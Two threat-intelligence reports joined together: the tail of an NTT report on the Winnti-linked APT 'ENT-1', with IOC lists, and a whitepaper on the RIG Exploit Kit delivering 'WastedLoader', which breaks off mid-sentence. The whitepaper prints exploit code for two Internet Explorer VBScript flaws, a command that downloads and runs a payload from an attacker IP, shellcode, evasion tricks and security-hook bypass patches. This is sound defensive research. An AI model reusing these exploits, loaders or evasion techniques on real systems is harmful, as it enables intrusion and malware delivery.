Acunitex activity The web vulnerability scanning activity covers geographical sectors and industries typically associated with the ENT-1 interest sphere. Our observation is a strong focus on the Media sector located in Hong Kong, Taiwan, and Japan. Travel and Transportation companies operating out of Hong Kong, as well as government infrastructure in Australia, Mongolia, Myanmar, Vietnam, Japan, and Macao, have also been targeted. Universities and telecom operators in Bahrain and Kuwait have also been targeted. While the scanning is targeted in respect to sector and geographical location, it also appears to be opportunistic. Organizations which have been scanned by any of the Acunitex IPs listed in the IOC section should expect and protect from further intrusion attempts performed by ENT-1 and/or related APT groups which possibly have been provided with the same target list. ## 4. CobaltStrike infrastructure The CobaltStrike infrastructure shows different variations of customization where publicly available (malleable) or default profiles are sometimes used, but also more advanced methods are observed. Typosquat domains and certificates are commonly utilized to make the traffic blend in. For example, a self-signed certificate imitating Microsoft on 141.164.62.81 over port 443. The CobaltStrike Command and Control (C2s) are often observed on compromised Glassfish servers. This could be due to CobaltStrike being utilized as the first layer backdoor during campaigns where the more well-known ENT-1 utilized backdoors such as Shadowpad, Spyder, and the Winnti backdoor are deployed as a second stage payload on interesting victims. This behavior indicates that the Glassfish servers are seen as use-and-throw away C2s. More ambitious efforts of CobaltStrike usage include a custom stager called Fishmaster according to the embedded PDB path. Avast classifies the sample as “Win64:BidenHappy-A [Apt]”, likely due to the embedded string. The sample was hosted at hxxps://jquery-code[.]ml/Download/Browser_Plugin.exe and at the index page of the domain, the HTML loads an iframe of code.jquery.com in order to appear legitimate. The stager will request a PDF from a Cobalt Strike C2 on the URL path hxxp://37.61.205[.]212:8880/dow/Aili.pdf and store it to “C:\Users\Public\Aili.pdf”. The PDF holds a job application in Mandarin for a Vietnamese individual. Secondly, the stager will request the CobaltStrike related destination hxxp://micsoftin[.]us:2086/dow/83.dmp, part of the response is XOR encoded with the key “misgat_mg” which the stager will decode and execute as shellcode. We have been unable to download the 83.dmp payload but explain the payload structure below. The use-case behind the downloaded PDF is unknown, and we encourage fellow researchers to explore it in depth for the possibility of it holding command and control traffic. The adoption of Fishmaster still appears relatively low and it remains to be seen if it will become an integral part of the group's toolset. ## 5. Shadowpad, Spyder and Winnti backdoor utilization ENT-1 extensively uses Shadowpad, Spyder, and the Winnti backdoor for long-running operations. It is not uncommon for the group to continue using domains and IPs even after they have publicly been reported. For example, the following domains are still actively used even though they are publicly reported: - livehost[.]live (Reported by ESET 31st Jan 2020, still utilized Apr 2021) - symantecupd[.]com (Reported by PTSecurity Jan 2021, still used Apr 2021) ENT-1 has also utilized snoc.hostingupdate[.]club, which is reported by Dr Web as a Spyder C2. Spyder is a backdoor reported to be utilized by Winnti Group. Given the large infrastructure overlaps and shared toolset utilization, NTT Threat Detection assesses ENT-1 to be part of Winnti Group. ## 6. Breadcrumbs from other payloads The likely GlassFish exploited server 168.138.137.235 appears to have been utilized as hosting grounds for ENT-1 payloads. On VirusTotal, some samples are uploaded, among them a malicious LNK shortcut named “Business Registration_JHUAN SHUN MOTOR CO., LTD.pdf.lnk” targeted towards a Taiwanese entity. Another clue towards Taiwanese targeting is a previously hosted self-extracting archive with “TW” in the filename. ## 7. Conclusion ENT-1 shows signs of being a full-time funded APT group with a continuously diversified toolset and a growing network infrastructure to support their operations. ## 8. How NTT Can help NTT Security Threat Intelligence researchers are monitoring telemetry of suspicious traffic traversing our Global IP Network Service global tier-1 IPv4/IPv6 backbone network for threat indications. Correlating such findings with the insights of our global Advanced Threat Detection (ATD) and Managed Detection and Response (MDR) services enables a truly unique and global perspective of the continuously evolving cybersecurity threat landscape. Research findings on threat actors and campaigns, such as ENT-1, are continuously being fed from our Threat Intelligence analysts back into our services as Machine-Learning capabilities, Behavior models, Indicators-of-Compromise (IOC’s), and Threat Intelligence. This enhances the services' ability to efficiently Monitor, Detect, Triage, and Respond to these threats on behalf of our clients, often without depending on an initial compromise. ## References Indicators of compromise for Entity 1: **Acunitex scanners, most of which are compromised Glassfish servers:** - 101.53.136.36 - 116.203.104.216 - 202.73.97.91 - 186.250.242.178 - 107.170.109.82 - 67.205.143.19 - 107.161.183.116 - 45.33.100.13 - 206.189.69.127 - 95.111.245.74 - 192.99.169.235 - 64.227.20.224 - 169.61.11.68 **CobaltStrike C2s:** - 198.98.62.191 - 83.169.3.55 - 141.164.62.81 - 160.16.208.58 - 37.61.205.212 - 93.180.156.77 **Shadowpad C2s:** - 45.76.100.224 - 207.148.72.133 - 45.77.107.26 **Winnti backdoor C2s:** - 139.180.141.227 - 154.212.129.30 **Related domains:** - micsoftin.us - google-images.ml - lmgur.me - nfdkjbfwjakd.ml - jquery-code.ml - hostingupdate.club - symantecupd.com - livehost.live **Related files:** - Business Registration_JHUAN SHUN MOTOR CO., LTD.pdf.lnk - flashplayerpp_install_tw.exe - Browser_Plugin.exe - download.dat - Aili.pdf ## About Security and NTT Ltd. Security is a division of NTT Ltd., a global technology services company. The Security division helps clients create a digital business that is secure by design. With unsurpassed threat intelligence, we help you to predict, detect, and respond to cyber threats while supporting business innovation and managing risk. Security has a global network of SOCs, seven R&D centers, over 2,000 security experts, and handles hundreds of thousands of security incidents annually across six continents. Security ensures that resources are used effectively by delivering the right mix of Managed Security Services, Security Consulting Services, and Security Technology. NTT Ltd. partners with organizations around the world to shape and achieve outcomes through intelligent technology solutions. For us, intelligent means data-driven, connected, digital, and secure. As a global ICT provider, we employ more than 40,000 people in a diverse and dynamic workplace and deliver services in over 200 countries and regions. Together we enable the connected future.
# WHITEPAPER ## RIG Exploit Kit Delivers WastedLoader Malware ### Foreword In February 2021, we identified a new RIG Exploit Kit campaign exploiting VBScript vulnerabilities CVE-2019-0752 and CVE-2018-8174 in unpatched Internet Explorer browsers. We managed to reproduce several instances in our lab and were curious what malware it delivers. We found out it looks like WastedLocker minus the ransomware functionality, which is probably downloaded from the C&C servers. Because it works like a loader for the downloaded payload, we will name it WastedLoader. In this article, we analyze RIG EK’s landing page and exploits, and the WastedLoader malware. ## RIG Exploit Kit ### Distribution In February 2021, we identified a new RIG Exploit Kit campaign exploiting VBScript vulnerabilities CVE-2019-0752 and CVE-2018-8174 in unpatched Internet Explorer browsers. Most of the alerts from this campaign were in Europe and the Americas. ### Exploitation Chain The exploitation chain starts with a malicious ad delivered from a legitimate website. The malicious ad redirects to the landing page of RIG EK. That page then serves two exploits and, if one is successful, it executes the malware. ### Hosts The HTTP traffic before the exploitation looks like this (notice the 302 redirections). We have seen the following hosts redirecting to RIG EK: - traffic.allindelivery.net - myallexit.xyz - clickadusweep.vip - enter.testclicktds.xyz - zeroexit.xyz - zero.testtrack.xyz ### Landing Page For the above example, the landing page is at 45.138.24.35, where the malicious host serves two JavaScript blocks, obfuscated in similar ways: function wrappers, random variable names, comments insertion. ```html <html> <meta http-equiv="x-ua-compatible" content="IE=8"> <meta http-equiv="Expires" content="-1"> <body> <div id="xcvsr1" style="overflow:scroll; width: 11px"> <div id="xcsdfs" style="width:5000001px"> Contenty </div> </div> <script>LktOeoIDBT ="l"+"i"+"t"; IWfhLdvKfq =(function (){return /*dfdf2221*/ eval;})(); eval(fWiYbtCtYs); </script> <script>WTLWDZdoMx ="l"+"i"+"t"; WSkkKcJbXS =(function (){return /*dfdf32656*/ eval;})(); eval(wiuUBevFVw);</script> </body> </html> ``` From what we can observe, the code requests IE-8 compatibility for the browser. In this regard, we can expect that certain VBScript vulnerabilities are targeted. After the first eval comes another layer of similar obfuscation in both JavaScript blocks: ```javascript /*s50321d13428hfj50043fs*/ var fa=xcvxc(); /*s33136d33356hfj60168fs*/ dfgdfg ="rip"; jkdfgd ="cript"; window["e"+"xecS"+jkdfgd](fa,"VBScript.Encode"); ``` We observed multiple techniques of obfuscating the code logic and strings: - comments insertion - the two JavaScript blocks are always obfuscated differently but the same pattern is used - in the second stage JavaScript code, var s may hold different values - splitting methods name in multiple string tokens - calling methods using obj["method"] instead of obj.method After we deobfuscated the first JavaScript block, we can more easily understand what it does: ```javascript var fa=xcvxc(); window.execScript(fa,"VBScript.Encode"); ``` The payload is encoded using Base64, and the script implements its own decoding mechanism. The approach to obfuscation of the second JavaScript block is very similar to the first one, but the final payload is different. Both these functions (xcvxc() and xcvsd45()) return VBScript exploit code, targeting different vulnerabilities. The VBScript exploits will be analyzed in the following sections to identify the targeted vulnerabilities. ### Exploits In the previous section, we described how the VBScript is hidden and how it gets to be executed. In this section, we describe what vulnerabilities are targeted by the malicious code. #### CVE-2019-0752 In the VBScript code resulted from the first JavaScript block, we can see a familiar code, similar to a proof-of-concept exploit for the CVE-2019-0752 vulnerability, developed by Simon Zuckerbraun (ZDI) and documented here. As the author describes in his article, the vulnerability is a type confusion that allows the attackers to obtain a write-what-where primitive. Using this, an arbitrary read primitive can be forged. We can observe those things in RIG’s exploit too. The issue is that there is no memory layout information - to overcome this a large array which will almost certainly guarantee that a constant address will point to a memory zone contained in the allocated buffer: ```vbscript Dim ar1(&h3000000) Dim ar2(1000) Dim dgfgghjfgh cxsghf = &h28281000 ``` The function used for writing 4 bytes is done by abusing the vulnerability and writing 1 byte at a time: ```vbscript Sub TriggerWrite(where, val) Dim v1 Set v1 = document.getElementById("xcvsr1") v1.scrollLeft = val Dim c Set c = newMyClass c.Value = where Set v1.scrollLeft = c End Sub ``` After corrupting the virtual table of the element at address cxsghf (addressOfGremlin in the original POC) in ar1, variable dgfgghjfgh (gremlin in the original POC) will be used to refer to the corrupted element of the array: ```vbscript TriggerWrite cxsghf, &h4003 For i = ((cxsghf - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100 If Not IsEmpty(ar1(i)) Then dgfgghjfgh = i Exit For End If Next ``` The object ar1(dgfgghjfgh) will be used to create a read primitive as described by Simon Zuckerbraun, when reading the value ar1(dgfgghjfgh) the address of cxsghf + 8 will be dereferenced and the integer found there will be returned. It is done using the following function (ReadInt32 in the original POC): ```vbscript Function ghfhf(addr) fake1 = &h8 WriteInt32With3ByteZeroTrailer cxsghf + fake1, addr ghfhf = ar1(dgfgghjfgh) End Function ``` After the attackers obtain read and write control, they create an object and overwrite its vtable. Based on this, when calling dummy.Exists, the result will be a call to WinExec with a custom created command line: ```vbscript WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA""" WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd.exe `""""cmd.exe /q /c cd /d ""%tMp%"" && echo function O(l){return Math.random().toString(36).slice(-5)}; [...] ;q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.26.235/?MzI3MzE1^&ZkgT[...] ""1""`""""""; Invoke-Command -Script-Block ([Scriptblock]::Create($a))""" dict.Exists "dummy" ``` The command line consists of PowerShell.exe executing a cmd.exe, which in turn executes wscript.exe with a JavaScript script. The command line and the script it contains will be analyzed in greater depth in the next section. We observed this exploit being served by RIG EK last year as well, but in those samples we found the VBScript code being more similar to the original POC. #### Post-exploitation Command After the CVE-2019-0752 vulnerability has been exploited, a long command line is executed, transitioning from PowerShell to Cmd then to JavaScript code. Using the echo command, cmd.exe drops a file called 3.tMp in the temporary folder that contains JavaScript code, then executes it using the wscript.exe tool present in Windows. The JavaScript code, in turn, downloads, decrypts and executes the actual malware. In our case, the malware download URL was: ``` http://45.138.26.235/?MzI3MzE1^&ZkgTf^&oa1n4=x33QcvWfaRuPDojDM__dTaRGP0vYH-liIxY2Y^&s2ht4=mKrVCJqvfzSj2beIFxj38VndSTvVgfBOKa1TbgC-jgeDLgEOmMxeC1lE87eqzkKNzVaYs-JOH-UeJYQ5G-5uWRrJo3FTxm7JBdMwklhWA7WVTyu4YUVsT5A4TmKnIRaLJqUlzV0Y7VVzKe5p1pRTBViPoMjl-wsfOyRDt2n-rM9cdwwZNt1h2o9w^&iJieANTcyMw== ``` The malware is downloaded using the WinHttpRequest object: ```javascript function DownloadBinary(Args) { var y = WScript.CreateObject('WinHttp.WinHttpRequest.5.1'); y.setProxy(0); y.open('GET', Args(1), 1); y.Option(0) = Args(2); y.send(); y.WaitForResponse(); if (200 == y.status) { return DecryptBinary(y.responseText, Args(0)); } } ``` Then the decryption takes place, on the downloaded data: ```javascript function DecryptBinary(EncryptedBinary, DecryptionKey) { var l = 0; var n; var c = []; var q = []; var b; var p; for (b = 0; 256 > b; b++) { c[b] = b; } for (b = 0; 256 > b; b++) { l = l + c[b] + DecryptionKey.charCodeAt(b % DecryptionKey.length) & 0xFF; n = c[b]; c[b] = c[l]; c[l] = n; } for (p = l = b = 0; p < EncryptedBinary.length; p++) { var b = b + 1 & 0xFF; l = l + c[b] & 0xFF; n = c[b]; c[b] = c[l]; c[l] = n; q.push(String.fromCharCode(EncryptedBinary.charCodeAt(p) ^ c[c[b] + c[l] & 0xFF])); } return q.join(''); } ``` The decrypted data is then saved in a file with a random name with .dll or .exe extension, depending on PE header characteristics: ```javascript s.Type = 2; s.Charset = 'iso-8859-1'; s.Open(); try { downloadedBinary = DownloadBinary(m); } catch (W) { downloadedBinary = DownloadBinary(m); } d = downloadedBinary.charCodeAt(0x17 + downloadedBinary.indexOf('PE\x00\x00')); s.WriteText(downloadedBinary); if (31 < d) { var z = 1; binaryName += 'dll'; } else { binaryName += 'exe'; } s.savetofile(binaryName, 2); s.Close(); ``` If the downloaded file is a .dll, it is executed using the following command: ``` cmd.exe /c regsrv32.exe /s <downloaded_dll> ``` If the downloaded file is a .exe, it is executed using the following command: ``` cmd.exe /c <downloaded_exe> ``` After executing the malware, the JavaScript script (3.tMp) will delete itself. #### CVE-2018-8174 The second VBScript exploit delivered by RIG EK resembles a proof-of-concept for CVE-2018-8174 developed by 0x09AL. Root cause analysis of the vulnerability was undertaken by Vladislav Stolyarov. This vulnerability lets an attacker execute arbitrary code in the context of the current user through the way the VBScript engine handles objects in memory. The vulnerability happens when an object is terminated and a custom Class_Terminate() is called. Then, a reference to the freed object is stored in UafArray. The FreedObjArray(1)=1 fixes the reference counter when ClassTerminate1 is copied to UafArray. We can see the ClassTerminate1 in RIG EK’s exploit code: ```vbscript Class ClassTerminate1 Private Sub Class_Terminate() Set UafArray1(UafCounter) = FreedObjArray(1) UafCounter = UafCounter + 1 FreedObjArray(1) = 1 End Sub End Class ``` And the cycle of creating + deleting objects is repeated 7 times: ```vbscript UafCounter = 0 For index = 0 To 6 ReDim FreedObjArray(1) Set FreedObjArray(1) = New ClassTerminate1 Erase FreedObjArray Next ``` Here we can see the generated read arbitrary memory primitive. A type confusion is achieved on the mem member by using two similar classes (ReuseClass, ReuseClass2), replacing ReuseClass with ReuseClass2: ```vbscript Class ReuseClass Dim mem Function P End Function Function SetProp(Value) mem = Value SetProp = 0 End Function End Class Class ReuseClass2 Dim mem Function P0123456789 P0123456789 = LenB(mem(cvb4sdfs2 + 8)) End Function Function SPP End Function End Class ``` The result of the SetProp function places its result into ReuseClass.mem. This way, ReuseClass.mem gets the value of SafeArrayStructure. P=CDbl("174088534690791e-324") is equivalent with db 0, 0, 0, 0, 0Ch, 20h, 0, 0, which overwrites the previous header value of the structure (VT_BSTR) with VT_ARRAY | VT_VARIANT, resulting in a pointer to a SAFEARRAY structure instead of a pointer to a string. This is how the type confusion is realized. Finally, to trigger the code execution, an NtContinue call provided with a structure that sets the EIP to VirtualProtect is made. This way, DEP is disabled on the memory page which contains the shellcode and the execution will return into the shellcode. The main function of the exploit looks like this: ```vbscript Sub Exploit UseAfterFree Init() dim ntContinue_str ntContinue_str = "NtContinue" vbs_address = LeakVBAddress() vbs_base = GetMzPeBase(GetUInt32(vbs_address)) msvcrt_base = GetImageBaseFromImports(vbs_base, "msvcrt.dll") kernelbase_base = GetImageBaseFromImports(msvcrt_base, "kernelbase.dll") ntdll_Base = GetImageBaseFromImports(msvcrt_base, "ntdll.dll") VirtualProtect_Ptr = GetProcAddress(kernelbase_base, "VirtualProtect") NtContinue_Ptr = GetProcAddress(ntdll_Base, ntContinue_str) SetMemValue GetShellcode() shellcode_addr = GetMemVal() + 8 SetMemValue GetVirtualProtectStruct(shellcode_addr) VirtualProtectStruct = GetMemVal() + 69596 SetMemValue GetNtContinueStruct(VirtualProtectStruct) llIIll = GetMemVal() Trigger End Sub ``` The shellcode used by the exploit is built in the GetShellcode function. The main shellcode body, stored in the payload variable, is prefixed with an “E”, aiming to improve the obfuscation. Potential AV engines would start with the wrong nibble and not decode the shellcode bytes correctly. ```vbscript Function GetShellcode() strString = "http://188.227.57.214/?MTYwNjg0&MiIGAT&oa1n4=x3rQdfWY[...]" linkHex = "" ' ASCII to hex For i = 1 To Len(strString) linkHex = linkHex + Hex(Asc(Mid(strString, i, 1))) Next key = "cvbdfg" keyHex = "" ' ASCII to hex For i = 1 To Len(key) keyHex = keyHex + Hex(Asc(Mid(key, i, 1))) Next slang = "22" sla = "20" nulla = "00000000" payload = "B125831C966B96D05498034088485C975F7F...B7AAF0C9F4A4A6" shellcode_str = "E" + payload + keyHex + slang + sla + slang + linkHex + slang + sla + slang + "A4" + slang + nulla res = Unescape("%u0000%u0000%u0000%u0000") & Unescape(GetShellcodeStrFinal(shellcode_str)) res = res & String((0x80000 - LenB(res)) / 2, Unescape("%u4141")) GetShellcode = res End Function ``` In the next section, we analyze the shellcode that gets executed when the exploit was successful. ### Post-exploitation Shellcode #### Decryption The shellcode starts with a decryption snippet. It iterates over the whole rest of the shellcode and the command line, which will be triggered decrypting byte by byte using the xor cipher with key 0x84. ```assembly jmp short start_decrypting decrypt_shellcode_and_cmd: pop eax xor ecx, ecx mov cx, 56Dh decryption_loop: dec ecx xor byte ptr [eax + ecx], 84h test ecx, ecx jnz short decryption_loop jmp eax start_decrypting: call decrypt_shellcode_and_cmd ``` #### Resolving Imports The shellcode gets the Ldr structure from TEB in order to get the ImageBase of Kernel32.dll via InLoadOrderModuleList field. After getting the ImageBase of the Kernel32.dll module, it retrieves the address of the export table by parsing the module’s PE headers. ```assembly xor eax, eax mov eax, fs:[eax + _TEB.ProcessEnvironmentBlock] mov eax, [eax + PEB.Ldr] mov eax, [eax + PEB_LDR_DATA.InLoadOrderModuleList.Flink] mov eax, [eax] mov eax, [eax] mov ebx, [eax + LDR_DATA_TABLE_ENTRY.DllBase] mov eax, ebx add eax, [eax + IMAGE_DOS_HEADER.e_lfanew] mov edx, [eax + IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] add edx, ebx ``` Since the export table address was retrieved, the shellcode starts iterating over the names, ordinals and functions to find function CreateProcessA: ```assembly mov edi, [edx + IMAGE_EXPORT_DIRECTORY.AddressOfNames] add edi, ebx xor ecx, ecx search_CreateProcessA_function: mov eax, [edi] add eax, ebx cmp dword ptr [eax], 'aerC' jnz short next_function_name cmp dword ptr [eax + 0Bh], 'Ass' jnz short next_function_name mov eax, [edx + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] add eax, ebx movzx eax, word ptr [eax + ecx * 2] mov edx, [edx + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] add edx, ebx add ebx, [edx + eax * 4] jmp short call_CreateProcessA next_function_name: add edi, 4 inc ecx cmp ecx, [edx + IMAGE_EXPORT_DIRECTORY.NumberOfNames] jl short search_CreateProcessA_function ``` #### Command Execution Once the CreateProcessA function address is retrieved, it is time to call it. This part of the shellcode is basically preparing the arguments for the call: ```assembly call_CreateProcessA: lea eax, [ebp - 10h] ; eax = ptr to _PROCESS_INFORMATION push eax lea edi, [ebp - 54h] ; edi = ptr to _STARTUPINFOA push edi xor eax, eax mov ecx, 11h rep stosd mov word ptr [ebp - 28h], ; _STARTUPINFOA.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES mov dword ptr [ebp - 54h], 44h ; _STARTUPINFOA.cb = 0x44 push eax push eax push eax inc eax push eax dec eax push eax push eax jmp short push_cmd_address_on_stack ; jmp+call trick to obtain the Eip sub_10009F: push eax call ebx ; ebx = CreateProcessA/CreateProcessAStub pop edi pop ecx pop ebx shl eax, 3 add eax, 6 leave retn push_cmd_address_on_stack: call sub_10009F ; jmp+call trick to obtain the Eip ``` Finally, calling CreateProcessA with the malicious command line described earlier leads to the execution of the downloaded malware, which is described in the next section. ## WastedLoader The delivered malware looks like a new variant of WastedLocker, but this new sample is missing the ransomware part, which is probably downloaded from the C&C servers. Because it works like a loader for the downloaded payload, we named it WastedLoader. ### WastedLoader First Stage #### Sandbox Evasion Before doing anything, the malware performs an anti-emulation loop, consisting of 11 million calls to the GetInputState function. This has virtually no effect in normal runs but might reach maximum instruction limit when emulated. It also targets emulators that do not implement some user interface APIs, like this one: ```c for (i = 0; i < 11588822; ++i) GetInputState(); ``` Next, the malware checks if the UCOMIEnumConnections interface registry key exists: ``` HKEY_CLASSES_ROOT\interface\{b196b287-bab4-101a-b69c-00aa00341d07} ``` If the key does not exist, the execution enters an infinite loop, and no other operations will be performed. This also targets emulators that do not fully implement the full registry: ```c // decode key name from obfuscated string keyName[17] = 237; keyName[17] -= 181; keyName[18] = 236; keyName[18] -= 181; keyName[19] = 226; keyName[19] -= 181; // keyName is now “interface\{b196b287-bab4-101a-b69c-00aa00341d07}” if (RegOpenKeyW(HKEY_CLASSES_ROOT, keyName, phkResult)) { while (1) { // do nothing indefinitely } } ``` #### Code-flow Obfuscation Some API calls are obfuscated by using the push/jmp combo instead of the call instruction: ```assembly push offset loc_40183D jmp _VirtualAllocEx loc_40183D: mov dword_4E2CC8, eax ``` This is equivalent to a VirtualAllocEx call: ```assembly call VirtualAllocEx loc_40183D: mov dword_4E2CC8, eax ``` These combos can be deobfuscated at disassembly time, by writing a Python IDA plugin and using the ev_ana_insn callback. In another interesting anti-emulation trick, the GetStockObject function is used, but not for its normal functionality. Outside the correct values for the argument, the function will always return zero. This zero returned value is sometimes used to obfuscate assignments: ```c v1 = GetStockObject(4576) + dword_4E2C80; v2 = GetStockObject(4576) + dword_4E2C80; v3 = &v2[GetStockObject(4576)]; v3[GetStockObject(4576) + dword_4E2C8C] = v1[dword_4E2C90]; ``` We can see in the decompiled GetStockObject function inside gdi32.dll that it returns zero for any argument above the number 31 (like 4576 above). #### Shellcode Decryption After allocating memory with RWX protection, 0x3BE00 bytes (240KB) are decrypted from the .t4xt12 section, for the second stage: ```c int __cdecl decrypt_dword(int a1_unused, int current_offset) { DWORD *current_dword = current_address; *current_dword += current_offset; xor_key = current_offset + 6; return xor_current_dword_with_xor_key(); } ``` After that, the execution is passed to the decrypted shellcode, by jumping to it (offset 0x3BBC0): ```c mov eax, _decrypted_block add eax, 3BBC0h mov entry_point, eax mov edx, entry_point jmp edx ``` ### WastedLoader Second Stage #### Imports First, the shellcode resolves a few API imports, using the LoadLibraryExA & GetProcAddress combo. These are memory and file functions like VirtualAlloc or UnmapViewOfFile. Using these functions, the third stage malware module is loaded in the current process, using the reflective DLL injection technique. The module contents are first decrypted in a similar way to the first stage, for a total of 0x3AE00 bytes (240KB). ```c for (i = 0; i < length; i += 4) { *(_DWORD *)(i + address) += i; *(_DWORD *)(i + address) ^= i + 1001; result = i + 4; } ``` #### Reflective DLL Injection The PE headers are copied to newly allocated memory, and sections are created with the recently decrypted data: ```c mem_fill(vars->mem, 0, nt_headers->OptionalHeader.SizeOfImage); mem_cpy(vars->mem, base, nt_headers->OptionalHeader.SizeOfHeaders); vars->code_entry_point = nt_headers->OptionalHeader.AddressOfEntryPoint + vars->mem; for (i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) { if (sections->PointerToRawData > 0) { if (sections->SizeOfRawData > 0) { mem_cpy( sections->VirtualAddress + vars->mem, &base[sections->PointerToRawData], PADDED(sections->SizeOfRawData)); } ++sections; } } ``` After solving imports for the reflected module, relocation fixups are applied, then memory protection is set for each section according to its characteristics: ```c resolve_imports_from_directory(vars, mem); base_delta = vars->mem - hdr->OptionalHeader.ImageBase; reloc = hdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (reloc.Size > 0 && base_delta > 0) { apply_fixups(mem + reloc.VirtualAddress, vars->mem, base_delta); } for (j = 0; j < hdr->FileHeader.NumberOfSections; ++j) { if (sections2->PointerToRawData > 0 && sections2->SizeOfRawData > 0) { section_protection = section_page_protection(sections2->Characteristics); vars->VirtualProtect( (LPVOID)(sections2->VirtualAddress + vars->mem), sections2->Misc.VirtualSize, section_protection, &oldProtect); } ++sections2; } ``` Finally, the entry point of the reflected module is jumped to, reaching the third stage: ```c mov edx, [ebp + vars.code_entry_point] jmp edx ``` ### WastedLoader Third Stage #### Imports The DLL only imports two bogus functions statically (OutputDebugStringA, Sleep), while all the malware functionality relies on dynamic imports (resolved at runtime). The dynamic imports are not resolved all at once. Instead, the resolver functionality is included inline before every import is used. The resolver has a cache where it keeps already-resolved functions, and the cache functionality is also inline. This creates unnecessarily complex code, that contributes to obfuscation. Loaded modules are located using the PEB’s InLoadOrderModuleList doubly linked list: ```assembly mov eax, large fs:18h mov eax, [eax + _TEB.ProcessEnvironmentBlock] mov eax, [eax + PEB.Ldr] mov esi, [eax + PEB_LDR_DATA.InLoadOrderModuleList.Flink] mov edi, [eax + PEB_LDR_DATA.InLoadOrderModuleList.Blink] mov ecx, [esi + _LDR_MODULE.BaseDllName.Buffer] ``` Imported function and module names are hashed using the CRC32 algorithm, and xor-ed with a constant key. The hash implementation is done using SSE instructions for more obfuscation: ```assembly movdqa xmm6, xmm3 movdqa xmm1, xmm4 pand xmm6, xmm4 pcmpeqd xmm0, xmm0 pcmpeqd xmm6, xmm5 psrld xmm1, 1 pxor xmm6, xmm0 ``` The resolver functions take two parameters, hashes of imported module and function name: ```c void* __stdcall resolve_function(DWORD module_crc, DWORD function_crc) ``` To achieve deobfuscation, we do the following trick: Place a breakpoint on the start of the resolver function, where we display the argument hashes, and another breakpoint on the end of the function where we display the returned imported function (WinDBG in this case): ```assembly bp resolve_function_start "? poi(esp+4); ? poi(esp+8); g" bp resolve_function_end "? eax; u eax l1; g" ``` This will get all resolved names and their hashes in the debugger log, so we can build an enumeration like this: ```c enum crc_strings { aNTDLL_DLL = 0x588AB3EA, aKERNEL32_DLL = 0xA1310F65, ... aCreateThread = 0xA8D05ACB, aExitProcess = 0x1DAACBB7, aNtProtectVirtualMemory = 0x649746EC, aRtlCreateHeap = 0xC0B67DE0, ... } ``` Then we can reverse the hashes back to function and module names, by using the created enum: ```c void* __stdcall resolve_function(crc_strings module_crc, crc_strings function_crc) ``` So the hash values: ```c var = resolve_function(0xA1310F64, 0x1DAACBB7); ``` Get resolved to: ```c var = resolve_function(aKERNEL32_DLL, aExitProcess); ``` #### Anti-debugging An interesting code-flow obfuscation and anti-debugging trick relies on DebugBreak exceptions (int 3). For example: ```assembly push aCreateEventA push aKERNEL32_DLL call resolve_function test eax, eax ; eax=CreateEventA jz loc_40CEEA xor edx, edx ; edx=0 push edx push edx push 1 push edx int 3 ; <-- DebugBreak retn ; return to 0 ``` When a debugger is attached, it will break on the exception, and if we choose to continue execution, a crash will occur, because retn will jump to the value of edx which is 0. This is because the malware registers beforehand a Vectored Exception Handler that handles these DebugBreak exceptions and executes something else instead: ```c int __stdcall VectoredExceptionHandler(_EXCEPTION_POINTERS *exc) { exc_code = exc->ExceptionRecord->ExceptionCode; ... // DebugBreak handling if (exc_code == EXCEPTION_BREAKPOINT) { // set continuation at next instruction (RET) ++exc->ContextRecord->Eip; // push address after RET to stack exc->ContextRecord->Esp -= 4; *(_DWORD *)exc->ContextRecord->Esp = exc->ContextRecord->Eip + 1; // push EAX on stack exc->ContextRecord->Esp -= 4; *(_DWORD *)exc->ContextRecord->Esp = exc->ContextRecord->Eax; // continue execution (at RET) return EXCEPTION_CONTINUE_EXECUTION; } } ``` So if a DebugBreak exception is encountered, the exception handler changes execution to do the following: ```assembly push after_ret push eax ret ``` Which is equivalent to a call eax. So the original code becomes: ```assembly push aCreateEventA push aKERNEL32_DLL call resolve_function test eax, eax ; eax=CreateEventA jz loc_40CEEA xor edx, edx ; edx=0 push edx push edx push 1 push edx call eax ; call eax (CreateEventA) ``` We can replace these int 3, retn sequences with call eax in the disassembler, using our Python IDA Plugin’s evan_ana_insn callback. #### Anti-hooking If certain security modules are loaded, the malware checks for inline function hooks and attempts to bypass them. To identify the security modules while avoiding comparing strings, the malware uses name hashes. If certain hashes are encountered, specific hook bypassing operations are performed, targeted against the respective security solutions. If the loaded module CRC32 name hash is 4DE0FF8B, the ntdll’s NtQueueApcThread function is checked if hooked (has a JMP first instruction). If so, a bypassing patch is applied to the hooking code, by searching for all occurrences of (XX is wildcard): ```assembly 83 78 xx 00 cmp dword [eax + XX], 0 75 xx jne $ + XX f0 ... lock ... ``` The conditional jump is patched with two NOPs (90 90), so the jump is never taken: ```assembly 83 78 3f 00 cmp dword [eax + XX], 0 90 nop 90 nop f0 ... lock ... ``` If another security module is loaded (CRC32 on DLL name is 5c6bbd94), a hook bypassing patch is applied on this code found in its .text section: ```assembly 33 c0 xor al, al c7 xx xx 00000000 mov dword [reg + XX], 0 84 c0 test al, al 0f 85 xxxxxxxx jnz XX ``` The test instruction is replaced with another instruction making al non-zero, so the jump is always taken: ```assembly 33 c0 xor al, al c7 xx xx 00000000 mov dword [reg + XX], 0 0c 01 or al, 1 0f 85 xxxxxxxx jnz XX ``` If another security module is loaded (CRC32 on DLL name is be718db1), a couple of hook bypassing patches are applied on code found in its .text section. First one: ```assembly 8b 00 mov eax, dword [eax] ff 70 xx push dword [eax + XX] ff 30 push dword [eax] 51 push ecx ff 37 push dword [edi] 8b 0e mov ecx, dword [esi] ``` The last push value is replaced with 0: ```assembly 8b 00 mov eax, dword [eax] ff 70 xx push dword [eax + XX] ff 30 push dword [eax] 51 push ecx 6a 00 push 0 8b 0e mov ecx, dword [esi] ``` The second pattern searched for this module is: ```assembly 